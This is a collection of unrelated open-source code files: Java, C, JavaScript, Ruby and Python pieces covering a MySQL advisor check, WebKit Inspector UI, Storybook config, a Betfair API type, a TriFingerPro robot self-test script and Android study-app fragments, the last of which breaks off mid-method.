ChannelBuffer header = channel.getConfig().getBufferFactory().getBuffer(src.order(), headerString.getBytes(Charset.forName("UTF8")).length);
header.writeBytes(headerString.getBytes(Charset.forName("UTF8")));
return wrappedBuffer(header, src);
}
}
|
petr-muller/abductor | cil/test/small1/combine2_2.c | /* Declare it as an array but without length */
extern char* foo[];
/* Now it has a length but is static */
static char *foo[2] = {"first string", "second string"};
static int bar = 0;
static char *foo_static = "My static string";
int f2() {
return bar;
}
|
severalnines/s9s-advisor-bundle | s9s/mysql/general/prepared_statements_check.js | <filename>s9s/mysql/general/prepared_statements_check.js<gh_stars>1-10
#include "common/mysql_helper.js"
/**
* Checks the percentage of max ever used connections
*
*/
var WARNING_THRESHOLD=80;
var TITLE="Max_prepared_stmt_count check";
var ADVICE_WARNING="You are using more than " + WARNING_THRESHOLD +
"% of the Max_prepared_stmt_count."
" Make sure you deallocate prepared statements whenever it is possible. You can also increase Max_prepared_stmt_count value."
" Reaching Max_prepared_stmt_count will result in errors on next prepared statement allocation attempt.";
var ADVICE_OK="The percentage of currently allocated prepared statements is satisfactory." ;
function main()
{
var hosts = cluster::mySqlNodes();
var advisorMap = {};
for (idx = 0; idx < hosts.size(); ++idx)
{
host = hosts[idx];
map = host.toMap();
connected = map["connected"];
var advice = new CmonAdvice();
print(" ");
print(host);
print("==========================");
if(!connected)
continue;
var Prepared_stmt_count = host.sqlStatusVariable("Prepared_stmt_count");
var Max_prepared_stmt_count = host.sqlSystemVariable("Max_prepared_stmt_count");
if (Prepared_stmt_count.isError() || Max_prepared_stmt_count.isError())
{
justification = "";
msg = "Not enough data to calculate on " + host;
}
else
{
var used = round(100 * Prepared_stmt_count / Max_prepared_stmt_count,1);
if (used > WARNING_THRESHOLD)
{
advice.setSeverity(1);
msg = ADVICE_WARNING;
justification = used + "% of the prepared statements is currently allocated,"
" which is > " + WARNING_THRESHOLD + "% of Max_prepared_stmt_count.";
}
else
{
justification = used + "% of the prepared statements is currently used,"
" which is <= " + WARNING_THRESHOLD + "% of Max_prepared_stmt_count.";
advice.setSeverity(0);
msg = ADVICE_OK;
}
}
advice.setHost(host);
advice.setTitle(TITLE);
advice.setJustification(justification);
advice.setAdvice(msg);
advisorMap[idx]= advice;
print(advice.toString("%E"));
}
return advisorMap;
}
|
mchiasson/PhaserNative | 3rdparty/webkit/Source/WebInspectorUI/UserInterface/Views/ScriptTimelineDataGridNode.js | <filename>3rdparty/webkit/Source/WebInspectorUI/UserInterface/Views/ScriptTimelineDataGridNode.js
/*
* Copyright (C) 2013, 2015 Apple Inc. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS''
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
* THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
* THE POSSIBILITY OF SUCH DAMAGE.
*/
WI.ScriptTimelineDataGridNode = class ScriptTimelineDataGridNode extends WI.TimelineDataGridNode
{
constructor(scriptTimelineRecord, baseStartTime, rangeStartTime, rangeEndTime)
{
super(false, null);
this._record = scriptTimelineRecord;
this._baseStartTime = baseStartTime || 0;
this._rangeStartTime = rangeStartTime || 0;
this._rangeEndTime = typeof rangeEndTime === "number" ? rangeEndTime : Infinity;
}
// Public
get records()
{
return [this._record];
}
get baseStartTime()
{
return this._baseStartTime;
}
get rangeStartTime()
{
return this._rangeStartTime;
}
get rangeEndTime()
{
return this._rangeEndTime;
}
get data()
{
if (!this._cachedData) {
var startTime = this._record.startTime;
var duration = this._record.startTime + this._record.duration - startTime;
var callFrameOrSourceCodeLocation = this._record.initiatorCallFrame || this._record.sourceCodeLocation;
// COMPATIBILITY (iOS 8): Profiles included per-call information and can be finely partitioned.
if (this._record.profile) {
var oneRootNode = this._record.profile.topDownRootNodes[0];
if (oneRootNode && oneRootNode.calls) {
startTime = Math.max(this._rangeStartTime, this._record.startTime);
duration = Math.min(this._record.startTime + this._record.duration, this._rangeEndTime) - startTime;
}
}
this._cachedData = {
eventType: this._record.eventType,
startTime,
selfTime: duration,
totalTime: duration,
averageTime: duration,
callCount: this._record.callCountOrSamples,
location: callFrameOrSourceCodeLocation,
};
}
return this._cachedData;
}
get subtitle()
{
if (this._subtitle !== undefined)
return this._subtitle;
this._subtitle = "";
if (this._record.eventType === WI.ScriptTimelineRecord.EventType.TimerInstalled) {
let timeoutString = Number.secondsToString(this._record.details.timeout / 1000);
if (this._record.details.repeating)
this._subtitle = WI.UIString("%s interval").format(timeoutString);
else
this._subtitle = WI.UIString("%s delay").format(timeoutString);
}
return this._subtitle;
}
updateRangeTimes(startTime, endTime)
{
var oldRangeStartTime = this._rangeStartTime;
var oldRangeEndTime = this._rangeEndTime;
if (oldRangeStartTime === startTime && oldRangeEndTime === endTime)
return;
this._rangeStartTime = startTime;
this._rangeEndTime = endTime;
// If we have no duration the range does not matter.
if (!this._record.duration)
return;
// We only need a refresh if the new range time changes the visible portion of this record.
var recordStart = this._record.startTime;
var recordEnd = this._record.startTime + this._record.duration;
var oldStartBoundary = Number.constrain(oldRangeStartTime, recordStart, recordEnd);
var oldEndBoundary = Number.constrain(oldRangeEndTime, recordStart, recordEnd);
var newStartBoundary = Number.constrain(startTime, recordStart, recordEnd);
var newEndBoundary = Number.constrain(endTime, recordStart, recordEnd);
if (oldStartBoundary !== newStartBoundary || oldEndBoundary !== newEndBoundary)
this.needsRefresh();
}
createCellContent(columnIdentifier, cell)
{
var value = this.data[columnIdentifier];
switch (columnIdentifier) {
case "name":
cell.classList.add(...this.iconClassNames());
return this._createNameCellDocumentFragment();
case "startTime":
return isNaN(value) ? emDash : Number.secondsToString(value - this._baseStartTime, true);
case "selfTime":
case "totalTime":
case "averageTime":
return isNaN(value) ? emDash : Number.secondsToString(value, true);
case "callCount":
return isNaN(value) ? emDash : value.toLocaleString();
}
return super.createCellContent(columnIdentifier, cell);
}
// Protected
filterableDataForColumn(columnIdentifier)
{
if (columnIdentifier === "name")
return [this.displayName(), this.subtitle];
return super.filterableDataForColumn(columnIdentifier);
}
// Private
_createNameCellDocumentFragment(cellElement)
{
let fragment = document.createDocumentFragment();
fragment.append(this.displayName());
if (this.subtitle) {
let subtitleElement = document.createElement("span");
subtitleElement.classList.add("subtitle");
subtitleElement.textContent = this.subtitle;
fragment.append(subtitleElement);
}
return fragment;
}
};
|
qonsoll/react-design | src/components/Switch/Switch.stories.js | <reponame>qonsoll/react-design<filename>src/components/Switch/Switch.stories.js<gh_stars>1-10
import React from 'react'
import Switch from './Switch'
import {
spaceArgTypes,
colorArgTypes,
typographyArgTypes,
layoutArgTypes,
flexboxArgTypes,
backgroundArgTypes,
borderArgTypes,
positionArgTypes,
shadowArgTypes
} from '../../helpers/arg-types'
import CSSPropValues from '../../helpers/css-prop-values'
export default {
title: 'Components/Switch',
component: Switch,
argTypes: {
autoFocus: {
table: {
category: 'Default AntD props'
},
description: 'Whether get focus when component mounted'
},
checked: {
table: {
category: 'Default AntD props'
},
description: 'Determine whether the Switch is checked'
},
checkedChildren: {
table: {
category: 'Default AntD props'
},
description: 'The content to be shown when the state is checked'
},
className: {
table: {
category: 'Default AntD props'
},
description: 'The additional class to Switch'
},
defaultChecked: {
table: {
category: 'Default AntD props'
},
description: 'Whether to set the initial state'
},
disabled: {
table: {
category: 'Default AntD props'
},
description: 'Disable switch'
},
loading: {
table: {
category: 'Default AntD props'
},
description: 'Loading state of switch'
},
size: {
table: {
category: 'Default AntD props'
},
description: 'The size of the Switch'
},
unCheckedChildren: {
table: {
category: 'Default AntD props'
},
description: 'The content to be shown when the state is unchecked'
},
onChange: {
table: {
category: 'Default AntD props'
},
description: 'Trigger when the checked state is changing'
},
onClick: {
table: {
category: 'Default AntD props'
},
description: 'Trigger when clicked'
},
blur: {
table: {
category: 'Default Switch methods'
},
description: 'Remove focus'
},
focus: {
table: {
category: 'Default Switch methods'
},
description: 'Get focus'
},
...spaceArgTypes,
...colorArgTypes,
...typographyArgTypes,
...layoutArgTypes,
...flexboxArgTypes,
...backgroundArgTypes,
...borderArgTypes,
...positionArgTypes,
...shadowArgTypes,
whiteSpace: {
table: {
category: 'Extra'
},
control: CSSPropValues.whiteSpace
},
cursor: {
table: {
category: 'Extra'
},
control: CSSPropValues.cursor
},
wordBreak: {
table: {
category: 'Extra'
},
control: CSSPropValues.wordBreak
},
zoom: {
table: {
category: 'Extra'
},
description: CSSPropValues.zoom.description,
control: { type: CSSPropValues.zoom.type }
},
transform: {
table: {
category: 'Extra'
},
description: CSSPropValues.transform.description,
control: { type: CSSPropValues.transform.type }
}
}
}
export const Template = (args) => <Switch {...args} />
|
ValMilkevich/betfair_ng | lib/betfair_ng/api/data_types/time_range_result.rb | <filename>lib/betfair_ng/api/data_types/time_range_result.rb<gh_stars>1-10
module BetfairNg
# Declares the module for API interactions
#
module API
# Declares the module for Data types
#
module DataTypes
# Declares TimeRangeResult
#
# == Fields
# - time_range
# - market_count
#
class TimeRangeResult < Base
# TimeRange
# @!attribute [w]
#
field :time_range, type: "BetfairNg::API::DataTypes::TimeRange", required: false
# Count of markets associated with this TimeRange
# @!attribute [w]
#
field :market_count, type: Fixnum, required: false
end
end
end
end
|
s-bl/robot_fingers | scripts/trifingerpro_post_submission.py | #!/usr/bin/env python3
"""Perform "post submission" actions on TriFingerPro.
Performs the following actins:
- run some self-tests to check if the robot is behaving as expected
- move the fingers on a previously recorded trajectory to randomize the
position of the cube
- use the cameras to check if the cube is still inside the arena (not
implemented yet)
"""
import os
import sys
import numpy as np
import pandas
from ament_index_python.packages import get_package_share_directory
import yaml
import robot_interfaces
import robot_fingers
import trifinger_object_tracking.py_tricamera_types as tricamera
# Distance from the zero position (finger pointing straight down) to the
# end-stop. This is independent of the placement of the encoder disc and
# thus should be the same on all TriFingerPro robots.
# TODO: this should actually be the same for all three fingers! Needs to
# be fixed in the calibration script, though.
_zero_to_endstop = np.array(
[2.112, 2.399, -2.714, 2.118, 2.471, -2.694, 2.179, 2.456, -2.723]
)
# Torque used to find end-stop during homing
# TODO: this could be read from the config file
_homing_torque = [+0.3, +0.3, -0.2] * 3
# Maximum torque with signs same as for end-stop search
_max_torque_against_homing_endstop = [+0.4, +0.4, -0.4] * 3
# Tolerance when checking if expected position is reached
_position_tolerance = 0.1
def get_robot_config(
position_limits=True,
robot_config_file="/etc/trifingerpro/trifingerpro.yml",
) -> str:
"""Get path to robot configuration file.
This may be the file specified by robot_config_file or a temporary copy
with modifications, based on other arguments.
Args:
position_limits: If True, the original configuration is used with the
position limits as they are defined there. If false, a temporary
configuration file is created where the position limits are
removed.
robot_config_file: Path to the original robot configuration file.
"""
if position_limits:
return robot_config_file
else:
with open(robot_config_file, "r") as fh:
config = yaml.load(fh)
# remove position limits
config["hard_position_limits_lower"] = [-np.inf] * 9
config["hard_position_limits_upper"] = [+np.inf] * 9
del config["soft_position_limits_lower"]
del config["soft_position_limits_upper"]
tmp_config_file = "/tmp/trifingerpro.yml"
with open(tmp_config_file, "w") as fh:
yaml.dump(config, fh)
return tmp_config_file
def end_stop_check(robot: robot_fingers.Robot):
"""Move robot to endstop, using constant torque and verify its position.
Applies a constant torque for a fixed time to move to the end-stop. If
everything is okay, the robot should be at the end-stop position after this
time. If it is not, trigger a fault.
Then move back to the initial position in a controlled way and again verify
that the goal was reached successfully.
Args:
robot: Initialized robot instance of the TriFingerPro.
"""
# go to the "homing" end-stop
action = robot.Action(torque=_homing_torque)
for _ in range(2000):
t = robot.frontend.append_desired_action(action)
robot.frontend.wait_until_timeindex(t)
# push with maximum torque for a moment for slipping joint detection
action = robot.Action(torque=_max_torque_against_homing_endstop)
for _ in range(1000):
t = robot.frontend.append_desired_action(action)
robot.frontend.wait_until_timeindex(t)
# release motors, so the joints are not actively pushing against the
# end-stop anymore
action = robot.Action()
for _ in range(500):
t = robot.frontend.append_desired_action(action)
robot.frontend.wait_until_timeindex(t)
observation = robot.frontend.get_observation(t)
if (
np.linalg.norm(_zero_to_endstop - observation.position)
> _position_tolerance
):
print("End stop not at expected position.")
print("Expected position: {}".format(_zero_to_endstop))
print("Actual position: {}".format(observation.position))
sys.exit(1)
# move back joint-by-joint
goals = [
(1000, np.array([0, np.nan, np.nan] * 3)),
(500, np.array([0, 1.1, np.nan] * 3)),
(500, np.array([0, 1.1, -1.9] * 3)),
]
for duration, goal in goals:
action = robot.Action(position=goal)
for _ in range(duration):
t = robot.frontend.append_desired_action(action)
robot.frontend.wait_until_timeindex(t)
observation = robot.frontend.get_observation(t)
# verify that goal is reached
if np.linalg.norm(goal - observation.position) > _position_tolerance:
print("Robot did not reach goal position")
print("Desired position: {}".format(goal))
print("Actual position: {}".format(observation.position))
sys.exit(1)
def run_self_test(robot):
position_tolerance = 0.2
push_sensor_threshold = 0.5
initial_pose = [0, 1.1, -1.9] * 3
reachable_goals = [
[0.9, 1.5, -2.6] * 3,
[-0.3, 1.5, -1.7] * 3,
]
unreachable_goals = [
[0, 0, 0] * 3,
[-0.5, 1.5, 0] * 3,
]
for goal in reachable_goals:
action = robot.Action(position=goal)
for _ in range(1000):
t = robot.frontend.append_desired_action(action)
robot.frontend.wait_until_timeindex(t)
observation = robot.frontend.get_observation(t)
# verify that goal is reached
if np.linalg.norm(goal - observation.position) > position_tolerance:
print("Robot did not reach goal position")
print("Desired position: {}".format(goal))
print("Actual position: {}".format(observation.position))
sys.exit(1)
if (observation.tip_force > push_sensor_threshold).any():
print("Push sensor reports high value in non-contact situation.")
print("Sensor value: {}".format(observation.tip_force))
print("Desired position: {}".format(goal))
print("Actual position: {}".format(observation.position))
# sys.exit(1)
for goal in unreachable_goals:
# move to initial position first
action = robot.Action(position=initial_pose)
for _ in range(1000):
t = robot.frontend.append_desired_action(action)
robot.frontend.wait_until_timeindex(t)
action = robot.Action(position=goal)
for _ in range(1000):
t = robot.frontend.append_desired_action(action)
robot.frontend.wait_until_timeindex(t)
observation = robot.frontend.get_observation(t)
# verify that goal is reached
if np.linalg.norm(goal - observation.position) < position_tolerance:
print("Robot reached a goal which should not be reachable.")
print("Desired position: {}".format(goal))
print("Actual position: {}".format(observation.position))
sys.exit(1)
if (observation.tip_force < push_sensor_threshold).any():
print("Push sensor reports low value in contact situation.")
print("Sensor value: {}".format(observation.tip_force))
print("Desired position: {}".format(goal))
print("Actual position: {}".format(observation.position))
# sys.exit(1)
print("Test successful.")
def reset_object(robot):
"""Replay a recorded trajectory to reset/randomise the object pose."""
trajectory_file = os.path.join(
get_package_share_directory("robot_fingers"),
"config",
"trifingerpro_recenter_cuboid_2x2x8.csv",
)
data = pandas.read_csv(
trajectory_file, delim_whitespace=True, header=0, low_memory=False
)
# determine number of joints
key_pattern = "observation_position_{}"
data_keys = [key_pattern.format(i) for i in range(9)]
# extract the positions from the recorded data
positions = data[data_keys].to_numpy()
for position in positions:
action = robot.Action(position=position)
t = robot.frontend.append_desired_action(action)
robot.frontend.wait_until_timeindex(t)
def check_if_cube_is_there():
"""Verify that the cube is still inside the arena."""
camera_data = tricamera.SingleProcessData(history_size=5)
camera_driver = tricamera.TriCameraObjectTrackerDriver(
"camera60", "camera180", "camera300"
)
camera_backend = tricamera.Backend(camera_driver, camera_data) # noqa
camera_frontend = tricamera.Frontend(camera_data)
observation = camera_frontend.get_latest_observation()
if observation.object_pose.confidence == 0:
print("Cube not found.")
sys.exit(2)
else:
print("Cube found.")
def main():
config_file = get_robot_config(position_limits=False)
# robot = robot_fingers.Robot.create_by_name("trifingerpro")
robot = robot_fingers.Robot(
robot_interfaces.trifinger,
robot_fingers.create_trifinger_backend,
config_file,
)
robot.initialize()
print("End stop test")
end_stop_check(robot)
print("Position reachability test")
run_self_test(robot)
print("Reset cube position")
reset_object(robot)
# terminate the robot
del robot
print("Check if cube is found")
check_if_cube_is_there()
if __name__ == "__main__":
main()
|
M1kemclain247/ParkingDemo | app/src/main/java/com/example/m1kes/parkingdemo/util/SecureCashup.java | package com.example.m1kes.parkingdemo.util;
import android.app.AlertDialog;
import android.content.Context;
import android.content.DialogInterface;
import android.text.Editable;
import android.widget.EditText;
import com.example.m1kes.parkingdemo.R;
public class SecureCashup {
public static void validateUserCashup(Context context){
AlertDialog.Builder alert = null;
//normal
//new AlertDialog.Builder(context);
//Themed
alert = new AlertDialog.Builder(context, R.style.MyDialogTheme);
alert.setIcon(R.drawable.ic_security_white_36dp);
final EditText edittext = new EditText(context);
alert.setMessage("Secure Cashup");
alert.setTitle("Enter Password");
alert.setView(edittext);
alert.setPositiveButton("Yes", new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int whichButton) {
String YouEditTextValue = edittext.getText().toString();
//Validate User
}
});
alert.setNegativeButton("No", new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int whichButton) {
// what ever you want to do with No option.
}
});
alert.show();
}
}
|
ashokr8142/phanitest | Android/app/src/main/java/com/harvard/studyappmodule/SurveyResourcesFragment.java | /*
* Copyright © 2017-2019 Harvard Pilgrim Health Care Institute (HPHCI) and its Contributors.
* Copyright 2020 Google LLC
* Permission is hereby granted, free of charge, to any person obtaining a copy of this software and
* associated documentation files (the "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all copies or substantial
* portions of the Software.
*
* Funding Source: Food and Drug Administration (“Funding Agency”) effective 18 September 2014 as Contract no. HHSF22320140030I/HHSF22301006T (the “Prime Contract”).
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
package com.harvard.studyappmodule;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.AsyncTask;
import android.os.Bundle;
import android.support.v4.app.Fragment;
import android.support.v7.widget.AppCompatImageView;
import android.support.v7.widget.AppCompatTextView;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.RecyclerView;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.RelativeLayout;
import android.widget.Toast;
import com.google.gson.Gson;
import com.google.gson.reflect.TypeToken;
import com.harvard.AppConfig;
import com.harvard.R;
import com.harvard.notificationmodule.NotificationModuleSubscriber;
import com.harvard.storagemodule.DBServiceSubscriber;
import com.harvard.studyappmodule.activitylistmodel.AnchorDateSchedulingDetails;
import com.harvard.studyappmodule.custom.result.StepRecordCustom;
import com.harvard.studyappmodule.events.DeleteAccountEvent;
import com.harvard.studyappmodule.events.GetResourceListEvent;
import com.harvard.studyappmodule.events.GetUserStudyInfoEvent;
import com.harvard.studyappmodule.studymodel.DeleteAccountData;
import com.harvard.studyappmodule.studymodel.NotificationDbResources;
import com.harvard.studyappmodule.studymodel.Resource;
import com.harvard.studyappmodule.studymodel.StudyHome;
import com.harvard.studyappmodule.studymodel.StudyResource;
import com.harvard.usermodule.UserModulePresenter;
import com.harvard.usermodule.event.UpdatePreferenceEvent;
import com.harvard.usermodule.webservicemodel.Activities;
import com.harvard.usermodule.webservicemodel.LoginData;
import com.harvard.usermodule.webservicemodel.Studies;
import com.harvard.utils.AppController;
import com.harvard.utils.Logger;
import com.harvard.utils.SharedPreferenceHelper;
import com.harvard.utils.URLs;
import com.harvard.webservicemodule.apihelper.ApiCall;
import com.harvard.webservicemodule.apihelper.ConnectionDetector;
import com.harvard.webservicemodule.apihelper.HttpRequest;
import com.harvard.webservicemodule.apihelper.Responsemodel;
import com.harvard.webservicemodule.events.RegistrationServerConfigEvent;
import com.harvard.webservicemodule.events.RegistrationServerEnrollmentConfigEvent;
import com.harvard.webservicemodule.events.WCPConfigEvent;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.lang.reflect.Type;
import java.net.HttpURLConnection;
import java.text.ParseException;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import io.realm.Realm;
import io.realm.RealmList;
import io.realm.RealmResults;
enum ResourceFragmentType {
REPORT,
RESOURCE
}
public class SurveyResourcesFragment<T> extends Fragment implements ApiCall.OnAsyncRequestComplete {
private static final int STUDY_INFO = 10;
private static final int UPDATE_USERPREFERENCE_RESPONSECODE = 100;
private static final int DELETE_ACCOUNT_REPSONSECODE = 101;
private int RESOURCE_REQUEST_CODE = 213;
private static final int WITHDRAWFROMSTUDY = 105;
private RecyclerView mStudyRecyclerView;
private Context mContext;
private AppCompatTextView mTitle;
private RealmList<Resource> mResourceArrayList;
private String mStudyId;
private StudyHome mStudyHome;
private StudyResource mStudyResource;
private DBServiceSubscriber dbServiceSubscriber;
private static String RESOURCES = "resources";
private Realm mRealm;
private String mRegistrationServer = "false";
private ArrayList<AnchorDateSchedulingDetails> mArrayList;
private ResourceFragmentType mResourceFragmentType = ResourceFragmentType.RESOURCE;
@Override
public void onAttach(Context context) {
super.onAttach(context);
this.mContext = context;
}
@Override
public View onCreateView(
LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
// Inflate the layout for this fragment
View view = inflater.inflate(R.layout.fragment_survey_resources, container, false);
dbServiceSubscriber = new DBServiceSubscriber();
mRealm = AppController.getRealmobj(mContext);
initializeXMLId(view);
setTextForView();
setFont();
mGetResourceListWebservice();
return view;
}
private void mGetResourceListWebservice() {
AppController.getHelperProgressDialog().showProgress(getActivity(), "", "", false);
HashMap<String, String> header = new HashMap<>();
mStudyId = ((SurveyActivity) mContext).getStudyId();
header.put("studyId", mStudyId);
header.put(
getString(R.string.clientToken),
SharedPreferenceHelper.readPreference(mContext, getString(R.string.clientToken), ""));
header.put(
"accessToken",
SharedPreferenceHelper.readPreference(mContext, getString(R.string.auth), ""));
header.put(
"userId",
SharedPreferenceHelper.readPreference(mContext, getString(R.string.userid), ""));
String url = URLs.RESOURCE_LIST + "?studyId=" + mStudyId;
GetResourceListEvent getResourceListEvent = new GetResourceListEvent();
WCPConfigEvent wcpConfigEvent =
new WCPConfigEvent(
"get",
url,
RESOURCE_REQUEST_CODE,
getActivity(),
StudyResource.class,
null,
header,
null,
false,
this);
getResourceListEvent.setWcpConfigEvent(wcpConfigEvent);
StudyModulePresenter studyModulePresenter = new StudyModulePresenter();
studyModulePresenter.performGetResourceListEvent(getResourceListEvent);
}
public void setType(ResourceFragmentType type) {
mResourceFragmentType = type;
}
private boolean doShowResource(Resource resource) {
switch (mResourceFragmentType) {
case REPORT:
return resource.getResourceType().equals("report");
case RESOURCE:
return resource.getResourceType().equals("resources");
default:
return true;
}
}
private void callGetStudyInfoWebservice() {
AppController.getHelperProgressDialog().showProgress(getActivity(), "", "", false);
HashMap<String, String> header = new HashMap<>();
String url = URLs.STUDY_INFO + "?studyId=" + mStudyId;
GetUserStudyInfoEvent getUserStudyInfoEvent = new GetUserStudyInfoEvent();
WCPConfigEvent wcpConfigEvent =
new WCPConfigEvent(
"get",
url,
STUDY_INFO,
getActivity(),
StudyHome.class,
null,
header,
null,
false,
this);
getUserStudyInfoEvent.setWcpConfigEvent(wcpConfigEvent);
StudyModulePresenter studyModulePresenter = new StudyModulePresenter();
studyModulePresenter.performGetGateWayStudyInfo(getUserStudyInfoEvent);
}
private void initializeXMLId(View view) {
mTitle = (AppCompatTextView) view.findViewById(R.id.title);
mStudyRecyclerView = (RecyclerView) view.findViewById(R.id.studyRecyclerView);
RelativeLayout mBackBtn = (RelativeLayout) view.findViewById(R.id.backBtn);
mBackBtn.setOnClickListener(
new View.OnClickListener() {
@Override
public void onClick(View view) {
if (AppConfig.AppType.equalsIgnoreCase(getString(R.string.app_gateway))) {
Intent intent = new Intent(mContext, StudyActivity.class);
ComponentName cn = intent.getComponent();
Intent mainIntent = Intent.makeRestartActivityTask(cn);
mContext.startActivity(mainIntent);
((Activity) mContext).finish();
} else {
((SurveyActivity) mContext).openDrawer();
}
}
});
AppCompatImageView backBtnimg = view.findViewById(R.id.backBtnimg);
AppCompatImageView menubtnimg = view.findViewById(R.id.menubtnimg);
if (AppConfig.AppType.equalsIgnoreCase(getString(R.string.app_gateway))) {
backBtnimg.setVisibility(View.VISIBLE);
menubtnimg.setVisibility(View.GONE);
} else {
backBtnimg.setVisibility(View.GONE);
menubtnimg.setVisibility(View.VISIBLE);
}
}
private void setTextForView() {
switch (mResourceFragmentType) {
case REPORT:
mTitle.setText("REPORTS");
break;
case RESOURCE:
default:
mTitle.setText("RESOURCES");
break;
}
}
private void setFont() {
try {
mTitle.setTypeface(AppController.getTypeface(getActivity(), "bold"));
} catch (Exception e) {
Logger.log(e);
}
}
@Override
public <T> void asyncResponse(T response, int responseCode) {
// RESOURCE_REQUEST_CODE: while coming screen, every time after resourcelist service calling
// study info
// stop and again start progress bar, to avoid that using this
if (responseCode != RESOURCE_REQUEST_CODE)
AppController.getHelperProgressDialog().dismissDialog();
if (responseCode == RESOURCE_REQUEST_CODE) {
// call study info
if (response != null) {
mStudyResource = (StudyResource) response;
callGetStudyInfoWebservice();
}
} else if (responseCode == UPDATE_USERPREFERENCE_RESPONSECODE) {
dbServiceSubscriber.updateStudyWithddrawnDB(mContext, mStudyId, StudyFragment.WITHDRAWN);
dbServiceSubscriber.deleteActivityDataRow(mContext, mStudyId);
dbServiceSubscriber.deleteActivityWSData(mContext, mStudyId);
if (AppConfig.AppType.equalsIgnoreCase(getString(R.string.app_gateway))) {
Intent intent = new Intent(mContext, StudyActivity.class);
ComponentName cn = intent.getComponent();
Intent mainIntent = Intent.makeRestartActivityTask(cn);
mContext.startActivity(mainIntent);
((Activity) mContext).finish();
} else {
deactivateAccount();
}
} else if (responseCode == DELETE_ACCOUNT_REPSONSECODE) {
LoginData loginData = (LoginData) response;
if (loginData != null) {
AppController.getHelperSessionExpired(mContext, "");
Toast.makeText(mContext, R.string.account_deletion, Toast.LENGTH_SHORT).show();
} else {
Toast.makeText(mContext, R.string.unable_to_parse, Toast.LENGTH_SHORT).show();
}
} else if (responseCode == STUDY_INFO) {
if (response != null) {
mStudyHome = (StudyHome) response;
mStudyHome.setmStudyId(mStudyId);
dbServiceSubscriber.saveStudyInfoToDB(mContext, mStudyHome);
if (mStudyResource != null) {
mResourceArrayList = mStudyResource.getResources();
if (mResourceArrayList == null) {
mResourceArrayList = new RealmList<>();
}
addStaticValAndFilter();
// primary key mStudyId
mStudyResource.setmStudyId(mStudyId);
// remove duplicate and
dbServiceSubscriber.deleteStudyResourceDuplicateRow(mContext, mStudyId);
dbServiceSubscriber.saveResourceList(mContext, mStudyResource);
calculatedResources(mResourceArrayList);
}
}
}
}
private void calculatedResources(RealmList<Resource> resourceArrayList) {
// call to resp server to get anchorDate
mArrayList = new ArrayList<>();
mResourceArrayList = resourceArrayList;
AnchorDateSchedulingDetails anchorDateSchedulingDetails;
Studies studies =
dbServiceSubscriber.getStudies(((SurveyActivity) mContext).getStudyId(), mRealm);
for (int i = 0; i < mResourceArrayList.size(); i++) {
if (mResourceArrayList.get(i).getAvailability() != null
&& mResourceArrayList.get(i).getAvailability().getAvailabilityType() != null) {
if (mResourceArrayList
.get(i)
.getAvailability()
.getAvailabilityType()
.equalsIgnoreCase("AnchorDate")) {
if (mResourceArrayList
.get(i)
.getAvailability()
.getSourceType()
.equalsIgnoreCase("ActivityResponse")) {
anchorDateSchedulingDetails = new AnchorDateSchedulingDetails();
anchorDateSchedulingDetails.setSourceActivityId(
mResourceArrayList.get(i).getAvailability().getSourceActivityId());
anchorDateSchedulingDetails.setSourceKey(
mResourceArrayList.get(i).getAvailability().getSourceKey());
anchorDateSchedulingDetails.setSourceFormKey(
mResourceArrayList.get(i).getAvailability().getSourceFormKey());
anchorDateSchedulingDetails.setSchedulingType(
mResourceArrayList.get(i).getAvailability().getAvailabilityType());
anchorDateSchedulingDetails.setSourceType(
mResourceArrayList.get(i).getAvailability().getSourceType());
anchorDateSchedulingDetails.setStudyId(((SurveyActivity) mContext).getStudyId());
anchorDateSchedulingDetails.setParticipantId(studies.getParticipantId());
// targetActivityid is resourceId in this case just to handle with case variable
anchorDateSchedulingDetails.setTargetActivityId(
mResourceArrayList.get(i).getResourcesId());
Activities activities =
dbServiceSubscriber.getActivityPreferenceBySurveyId(
